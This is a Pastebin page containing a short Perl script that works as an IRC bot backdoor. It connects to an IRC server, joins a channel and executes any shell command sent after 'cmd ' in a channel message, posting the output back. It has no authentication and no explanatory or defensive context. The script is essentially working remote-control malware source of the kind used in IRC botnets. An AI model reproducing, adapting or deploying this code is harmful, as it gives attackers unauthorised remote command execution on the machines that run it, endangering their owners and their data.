Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use IO::Socket;
- $irc='127.0.0.1';
- $nick='test';
- $channel='#test';
- system('cls');
- print "\n [+] Connection To $irc Please Wait ...\n\n";
- $connect=IO::Socket::INET->new(PeerAddr=>$irc,
- PeerPort=>'6667',
- Proto=>'tcp',
- Timeout=>'60') or die "[!] Couldnt Connect To $irc\n\n";
- print $connect "USER xxx xxx xxx xxx\r\n";
- print $connect "NICK ".$nick."\r\n";
- print $connect "JOIN ".$channel."\r\n";
- while ($svrmsg=<$connect>) {
- print $svrmsg;
- if ($svrmsg=~m/^PING (.*?)$/gi) {
- print $connect "PONG ".$1."\r\n";
- print "PONG ".$1."\r\n";
- }
- if ($svrmsg=~/cmd (.*)$/) {
- $cmd=$1;
- @result=qx($cmd);
- foreach(@result){
- print $connect "PRIVMSG ",$channel," :@result\r\n";
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement